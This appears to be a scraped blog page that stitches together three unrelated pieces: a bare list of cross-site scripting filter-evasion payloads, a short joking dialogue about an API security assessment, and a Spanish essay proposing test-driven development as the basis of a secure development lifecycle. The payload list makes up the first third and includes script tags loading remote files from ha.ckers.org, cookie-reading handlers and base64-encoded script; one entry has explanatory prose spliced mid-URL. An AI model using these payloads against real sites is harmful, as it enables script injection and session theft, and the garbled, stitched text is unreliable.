<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>
<IMG SRC=”/x” onerror=”jav&#x0D;ascript:alert(‘XSS’);”>
<IMG SRC=”jav%00ascript:alert(‘XSS’);”>
<IMG SRC=”/x” onerror=”jav%00ascript:alert(‘XSS’);”>
<IMG SRC=” &#14; javascript:alert(‘XSS’);”>
<IMG SRC=”/x” onerror=” &#14; javascript:alert(‘XSS’);”>
<SCRIPT/XSS SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
<SCRIPT/SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC=”javascript:alert(‘XSS’)”
<iframe src=http://ha.ckers.org/scriptlet.html <
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<IMG SRC=”livescript:[code]”>
<BODY ONLOAD=alert(‘XSS’)>
<BGSOUND SRC=”javascript:alert(‘XSS’);”
<BR SIZE=”&{alert(‘XSS’)}”>
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
<LINK REL=”stylesheet” HREF=”http://ha.ckers.org/xss.css”>
<STYLE>@import’http://ha.ckers.org/xss.css’;</STYLE>
<META HTTP-EQUIV=”Link” Content=”<http://ha.ckers.org/xss.css>; REL=stylesheet”>
<STYLE>BODY{-moz-binding:url(“http://ha.ckers.org/xssmoz.xml#xss”)}</STYLE>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=”xss:expr/*XSS*/ession(alert(‘XSS’))”
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<XSS STYLE=”xss:expression(alert(‘XSS’))”>
<XSS STYLE=”behavior: url(xss.htc);”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”>
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
<IFRAME SRC=# onmouseover=”alert(document.cookie)”></IFRAME>
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image:\0075\0072\006C\0028’\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.
<DIV STYLE=”background-image: url(&#1;javascript:alert(‘XSS’))”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<!–[if gte IE 4]> <SCRIPT>alert(‘XSS’);</SCRIPT> <![endif]–>
<BASE HREF=”javascript:alert(‘XSS’);//”>
<OBJECT TYPE=”text/x-scriptlet” DATA=”http://ha.ckers.org/scriptlet.html”></OBJECT>
<EMBED SRC=”http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=”never” and allownetworking=”internal” it can mitigate this risk (thank you to Jonathan Vanasco for the info).:org/xss.swf” AllowScriptAccess=”always”></EMBED>
<EMBED SRC=”data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==” type=”image/svg+xml” AllowScriptAccess=”always”></EMBED>
<XML ID=”xss”><I><B><IMG SRC=”javas<!– –>cript:alert(‘XSS’)”></B></I></XML><SPAN DATASRC=”#xss” DATAFLD=”B” DATAFORMATAS=”HTML”></SPAN>
<XML SRC=”xsstest.xml” ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<SCRIPT a=”>” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
<SCRIPT =”>” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
<SCRIPT a=”>” ” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
<SCRIPT a=”>” ” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
<SCRIPT a=`>` SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
<SCRIPT a=”>’>” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>
<SCRIPT a=”>’>” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

Assessing dureishon the API

homer_pulsador

 

Andrew: hey! mexican guy… how is your day?… are you hacking the world?

Augusto: Yep…

Andrew: Ok, sounds good.. today the API assessment is closing, we trust in all our bug hunters, specially in the technical leads like you

Augusto: Yep…

Andrew: Perfect mexican… you’re the man, you rocks, you’re a mexican cabron

Augusto: Yep…

Andrew: Ok, send me and e-mail if you need something

Augusto: Yep…

Andrew: Remember, this assessment is in Blitz, $3000 bonus

Augusto: Yep…

Andrew: Ok, see you

Augusto: Yep…

 

(Mientras tanto Augusto assessing dureishon the API)

 

177d6620-ff44-46e3-b292-6fa309985aa9

TDD como base para el SSDLC

Siendo realistas, en Mexico no existe una sola empresa, ni siquiera aquellas enfocadas al desarrollo de software, que incluyan pruebas de seguridad dentro de su ciclo de desarrollo. Aquellas que inlcuyen pruebas, ya sea por requerimiento o porque en verdad desean verificar su el software que han desarrollado es seguro lo incluyen cuando tienen una version casi productiva del producto. El resultado es que usualmente se encuentran una gran cantidad de vulnerabilidades, las cuales son costosas debido al punto dentro del ciclo donde las encuentran y complejas de corregir, pues algunas de ellas incluso tienen su raiz en el disenyo.

Para describir los costos acarreados por un fallo, no unicamente de seguridad, sino en general, podemos tomar como ejemplo la siguiente grafica que nos muestra cual es el costo de un defecto a traves de la linea de tiempo de desarrollo:

cost-bug

Podemos ver de forma muy sencilla la problematica, en cuanto a costos, de que la mayoria de las vulnerabiliades son detectas en una fase ya muy avanzada. Muchas de esas no pueden ser corregidas de forma sencilla, y en la vida real es necesario aceptar estos riesgos o tener la valentia de tirar todo el trabajo de desarrollo para regresar a corregirlos y enfrentarse a grandes complicaciones.

Existen dos formas generales en que el software actualmente es construido, uno de ellos es mediante metodologias de desarrollo clasicas, y la otra mediante el desarrollo de a traves de metologias de desarrollo agil.

En el caso de las metodologias clasicas, el desarrollo se va diviendo por fases, y existe una fase de pruebas. Este tipo de metodologias irremediablemente llevan a que si se encuentra un fallo, este fallo se encontrara cuando el producto esta demasiado avanzado y siempre, absolutamente siempre el costo de correccion del fallo sera alto.

480px-Software_development_methodologies

En el caso de las metologias agiles de desarrollo, los fallos teoricamente tienen que ser remediados durante el desarrollo. Y una de las formas en que lo hacen es mediante el uso de Unit Testing y algo llamado TDD, que lo que significa es que se generan pruebas, incluso antes de desarrollar las cuales iran dirigiendo el curso y las decisiones durante las etapas de desarrollo.

metodologias-agiles

Pero, en especifo para fallos de seguridad, esto evita vulnerabilidades?. La respuesta es no.

Dentro de los cuadrantes utilizados en el desarrollo agil se contemplan las pruebas de seguridad como un conjunto de pruebas especializadas que, de voz de varios desarrollados, se ejecutan al final del desarrollo, unicamente para verificar errores de seguridad, que ellos confian sean facilmente corregibles, debido a la metodologia usada.

Como es que se hace generalmente la consultoria de seguridad aplicativa?

Ya que usualmente las pruebas de seguridad son ejecutadas por equipos externos, estos simplemente realizan una prueba dinamica y/o estatica al final del desarrollo del producto, lo cual nos posiciona en el mismo punto que si se hubiese seguido una metodologia tradicional. Pero no en todos los casos, en la primer empresa para la cual colabore, desarrollamos un servicio el cual estaba pensando para incluirse en la metodologia de desarrollo agil del cliente, a fin de detectar errores en fases tempranas. Para ello se siguen en terminos generales estos pasos:

  • Se brinda un entrenamiento de concientizacion al equipo de desarrollo, ofreciendo nociones basicas de seguridad que lleven a los desarrolladores a mejorar sus practicas de desarrollo y a aprovechar al maximo las opciones de seguridad que les proveen sus herramientas y frameworks de desarrollo.
  • Se hace un analisis conjunto de requerimientos, en el cual el objetivo es incluir los requerimientos de seguridad, como requerimientos funcionales.
  • Se ejecuta analisis estatico del codigo de forma gradual en cada sprint; o incluso mas periodico en caso de que el cliente asi lo requiera.
  • En preproduccion se ejecuta un analisis estatico completo y una prueba dinamica.
  • Se ejecuta una prueba de penetracion sobre la maqueta de preproduccion.
  • Se ejecuta periodicamente (usualmente anualmente) una prueba de penetracion a la infraestructura y aplicacion.

Esta metodologia, a pesar de que ya tiene mucho tiempo, la sigue ejecutando una unica empresa en Mexico, sin embargo el alto costo del proyecto hace que pocas empresas compren este tipo de servicios.

Desde hace algun tiempo me encuentro trabajando como Ingeniero de QA en una agencia de publicidad, la cual se dedica al desarrollo de diferentes plataformas moviles y web; y las cuales no siguen absolutamente ninguna premisa de seguridad. El resultado, es que a pesar de que es una empresa con amplia experiencia en el desarrollo y con metodologias agiles muy bien llevadas he tardado en promedio de dos a cinco minutos en encontrar vulnerabilidades criticas en todas las aplicaciones, muchas de ellas, fueron dejadas pasar por simple desconocimiento. Aparentemente las vulnerabilidades se reducen a los checklist de OWASP (por eso nunca he sido ferviente de OWASP coff.. coff.. ).

Una de las principales problematicas a enfrentar, es que las metodologias de SSDLC son completamente opuestas a las metodologias de desarrollo seguro, como ejemplo podemos tomar, la que a mi parecer es la mas robusta, Microsoft:

basic-of-ssdlc-3-728

Que si podemos ver de la imagen, no hay forma de cuadrarla con SCRUM. Entonces, que se puede hacer?

Mi propuesta es: Testing Driven Development

Si el TDD ha ayudado a reducir los fallos del software, entonces agregar mas matrices de prueba que puedan limitar los posibles fallos de seguridad, seria la forma mas economica de incluir pruebas de seguridad en todo el SDLC, y al mismo tiempo permitiendo tener mayor eficacia durante las pruebas finales, debido a que los consultores de seguridad, conocerian a mayor detalle la logica de negocio de la aplicacion.

Como se puede llevar acabo? mi teoria es la siguiente:

  • Durante el disenyo de los requerimientos del software es necesario, no unicamente llevar los requerimientos a requerimientos funcionales, sino:
    • Disenyar casos de abuso: algo asi como un thread modeling enfocado a la aplicacion.
    • Establecer con base en los casos de abuso, los requerimientos de seguridad, los cuales se llevaran a requerimientos funcionales.
    • Hacer un analisis de riesgos, a fin de determinar las posibles soluciones para cada requerimiento funcional y sus costos (si, si… desde esta fase inicial)
  • Disenyo de las matrices de prueba mediante un plan de pruebas basado en el analisis de riesgos.
  • Disenyo de las pruebas unitarias que seran ejecutadas durante todo el proceso de desarrollo. En realidad es solo reamarcarlo, al ser un requerimiento funcional, las pruebas unitarias por si mismas ya incluyen todos estos casos de prueba.
  • Analisis estatico por sprint, y solo por sprint. La razon? si se esta siguiente TDD, no es necesario ejecutar analisis estatico para determinar si los metodos desarrollados por el equipo de desarrollo cumplen o no con los requerimientos de seguridad; en realidad en analisis estatico estaria orientado a detectar defectos mas graves, como el uso inapropiado de un framework o arquitectura, errors que no hayan sido considerados durante el disenyo de las matrices de prueba (lo cual seria grave, tomando en cuenta que se hizo un analisis de riesgos, pero aun costeable si se detecta en esta fase), y vulnerabilidades poco usuales que no hayan sido consideradas por los encargados de seguridad. Por cierto, hago una nota aqui (no se si es bueno o malo) pero si se dan cuenta, a diferencia de la metodologia que describe anteriormente, aqui no se brinda un entrenamiento a los desarrolladores. Me parece inncesario, dado que ellos iran guiando su desarrollo por el TDD, mientras que antes el enfoque era entrenarlos para hacerlos consientes de los fallos de seguridad y que ellos mismos tomasen desiciones para evitarlos. Aca no, esas desiciones se pasan al control de TDD, al simplemente seguir requerimientos de seguridad.
  • Una vez que el desarrollo esta casi concluido se ejecuta un analisis de riesgos, que toma como fuente los resultados de los analisis estaticos. No se toman en cuenta las salidas de las matrices de prueba, porque se supone estos errores son corregidos en desarrollo y no deberian de presentarse.
  • Finalmente en fases finales de desarrollo se debe de ejecutar un analisis de codigo estatico completo, asi como una prueba dinamica a la aplicacion. Adicional una prueba de penetracion a la maqueta de infraestructura (estrictamente, estaria fuera del alcance, pero nunca esta de mas).
  • Al conocer de forma completa la logica de negocio, los consultores en seguridad tienen la capacidad de cumplir con la fase de opereraciones, e incluso brindar apoyo en respuesta a incidentes. Tal cual lo marca la metodologia de Microsoft.

Revisando diferentes servicios de seguridad aplicativa a nivel mundial, no he encontrado ninguna empresa en el mundo que lo aplique. Todas basan su metologia muy similar a la que describi al inicio, y que en Mexico es la unica que se ejecuta, nuevamente por una unica empresa.

Este es solo un borrador de la idea que estoy planteando, pues falta el desarrollo de las matrices de prueba, la metodologia de analisis de riesgos enfocada a la aplicacion (por alli estoy pensando en tomar una que conozco de un banco) y como limitar el alcance del thread modeling unicamente a la aplicacion.

Estare desarrollando la idea, y al mismo tiempo la implementare en mi lugar de trabajo… y los primeros borradores los presentare el 25, 26 y 27 de Agosto en el modulo de “Secure coding” del Diplomado de Ciberseguridad del Centro Iberoamericano para el Desarrollo y la Investigacion de la Ciberseguridad; que estare ofreciendo en la ciudad de Queretaro. Me parece un lugar perfecto, debido a que los asistentes con jefes de seguridad de varias empresas financieras nacionales, y lideres gubernamentales.

Como dije, esto es un borrador, que consulte con mi amigo Jack y que necesito desarrollar a detalle en las proximas semanas, si desean colaborar o conocer mas a fondo como estoy desarrollando cada elemento, pueden contactarme a vendetta {at} bugcon {dot} org.

Todo comentario o critica es bienvenida, creo que tenemos algo muy bueno aqui (diablos… ya hablo de metodologias, si… estoy muy viejo ya).